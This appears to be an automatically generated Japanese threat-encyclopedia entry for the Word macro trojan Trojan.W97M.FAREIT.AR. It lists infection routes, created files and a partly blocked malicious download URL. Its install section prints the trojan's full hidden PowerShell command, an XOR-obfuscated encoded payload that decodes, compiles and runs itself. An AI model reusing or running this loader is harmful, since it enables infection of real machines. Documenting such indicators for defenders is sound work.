Trojan.W97M.FAREIT.AR

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• powershell -WindowStyle Hidden function s6e9d4 {param($z7f71)$c2b394='p6f99';$k5b76='';for ($i=0; $i -lt $z7f71.length;$i+=2){$b9a483=[convert]::ToByte($z7f71.Substring($i,2),16);$k5b76+=[char]($b9a483 -bxor $c2b394[($i/2)%$c2b394.length]);}return $k5b76;} $h9dda93 = '05450f575e50651f4a4d155b5d4c4a195801196a0945125c545e6413574d195b0317701e42034b560065034b4f1955034a0205450f575e50651f4a4d155b487d50115108564a045f054a0205450f575e50651f4a4d155b4870764b43155057171635404a04530b177715425d3433004304555013160555580345465b5814055101010b6d225555395b16564b041e44525c025803550a42144a7c5704441f6956195812041b375312694b1f55275d5d0253154a1b596b46494c125a0f5a190342074d50131603414d15440819701e42364d4b5050055f0043074e70570466124b191454510f0b431a154d4b195801194e115350010c590d3d7d551c7f0b495602424e1b521544085c5543044415193558124b4020590f574d500b461b751f570275501244074b40521f3b194905540a505a504512584d1955465c410453145719395812694d02160b0b0b1502075d11034214505717160e0f0b4405045b104b6d225555395b16564b041e44525c025803550a42144a197c1e421440691f5f084d0452600f4b4d05570a694b1f42035a4d521f3b194905540a505a504512584d1955465c4104531457191259095519140702010016574e70570466124b191a07530f5d111a3370570466124b190307555c5c5c161350570416135a0a420e515b155059134d19055f084d191d0e050a0148504f0262345a0a70540059144d11527d034b57155a550b17145a0a1b155073084d4b0966095057040b446b4d1c7b094f5c3d530b564b09144a196a15422a584a0473144b56020b00585503534f64190342074d50131603414d154408194f1f5f02195a4907520e08411e2f574d20421419411150075a0b5c7f084d69044446520f160e5015501e4246485a435055000d590d164c5b1c5f05194a045712505a505f084d191f07500058431e4f42701e42364d4b504c050a0d46014604191d04545c0d11524e4a0f150f020d115207570c5b41035309084707520c5840574410104b5f0011431305520f0e4d0b2f574d2042141763154409104217591256190054070d0e160d1b70570466124b19020e520e014d50055f0043074e435a4302500e15030003005d441e440a084554570c0c400007080a450156010e120205080f4506560a0d12144f100219504e4b0144015e0404395812694d02183c5c4b1f1f1d5e56045946495b1102515f020d632f574d2042141943455207010458632f574d204214100c4b430f574d5046555d5c13535b090219504e185d41525e005f111e14010d470e4a430c14575e15090802561556054246490a1453055c10594d01564d1f16165b584401000244324f125c622d16020a5a160e5058040b061e0a085c061e5f5f5c061e00090d0d2f574d204214195c430f030a043d57144a51115a4878551c5905717e1c5904585558054f027411441551581c18255649091e020a5a160e505815401a030a0015054a0a104b555f080d470757115715414670570466124b11020e520e015e6209705704005211105b061e090941544f155c430f030a15431f5d495b1102515f035061035b7a1c5f03574d5059070f0b47005b575c0716315c5b335a0f5c57041e4f024a04440f575e505104585c48015b7c57065f1456571d53084d173753127f561c52034b6911420e117c1e400f4b561e5b03574d5e65165c5a19570a7f561c52034b17314616555013571250561e72074d58591d446565030702000e44144d4a0f150f020d115203030c0a4153535a1b590d09580f420150177d1f410855561152205055151e150f5c495252111b410e520b0842025f090a455057000941025f0d58410f520b0d4803070c0f4553525a094707500d5c4006575b091603510c584155520a094203050d58455053010913025f080e4103525c0943144f155e125703010e590d364b561353154a6a0457144d701e5009195215035708041e531119690259055c4a036512584b047f085f56585104585c48014f02690259055c4a0318354d5802424e525c45075710020253124c4b1e1656024400430455501316154d58045f05194a04440f575e5045505c0014024e4a4d025f085e191a04530b0116074f424a04440f575e5052040e0f42055b1b4946505f001b4b45124b501e5146540b425352585d4d65124b501e51487c5400421f025f1f444e505704160f04094b5f5a530b45045e5f085e7a03575e045e5d50124d044f425b094203195f13505f0a084d7509574f154412176d1f741f4d5c585c540c0b485057176a0554154d4b19580111505c044f1508461f5d540b425352585d5b0b4e5a5111444f115f13505f0a085068465d5b4700540a62585f490b105013465d5b4700540a173c53085e4d186b4f02440253124c4b1e160b0b0b1502075d020d4b'; $h9dda932 = s6e9d4($h9dda93); Add-Type -TypeDefinition $h9dda932; [bad3788]::o169a3();
• "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%\jd3jqri5.cmdline"
• %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES6FC3.tmp" "%User Temp%\CSC6FA3.tmp"

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

他のシステム変更

マルウェアは、以下のファイルを改変します。

• %Application Data%\Microsoft\Office\Word12.pip

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

作成活動

マルウェアは、以下のファイルを作成します。

• %Application Data%\Microsoft\Office\Word12.pip
• %User Temp%\jd3jqri5.err
• %User Temp%\jd3jqri5.0.cs
• %User Temp%\jd3jqri5.cmdline
• %User Temp%\jd3jqri5.pdb
• %User Temp%\jd3jqri5.dll
• %Application Data%\Microsoft\UProof\CUSTOM.DIC
• %System Root%\BVTBin\Tests\installpackage\csilogfile.log
• %User Temp%\jd3jqri5.out
• %Application Data%\s1d974.exe
• {malware file path and name}

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• http://gpsit.{BLOCKED}o.za/wp-includes/njp.exe

このウイルス情報は、自動解析システムにより作成されました。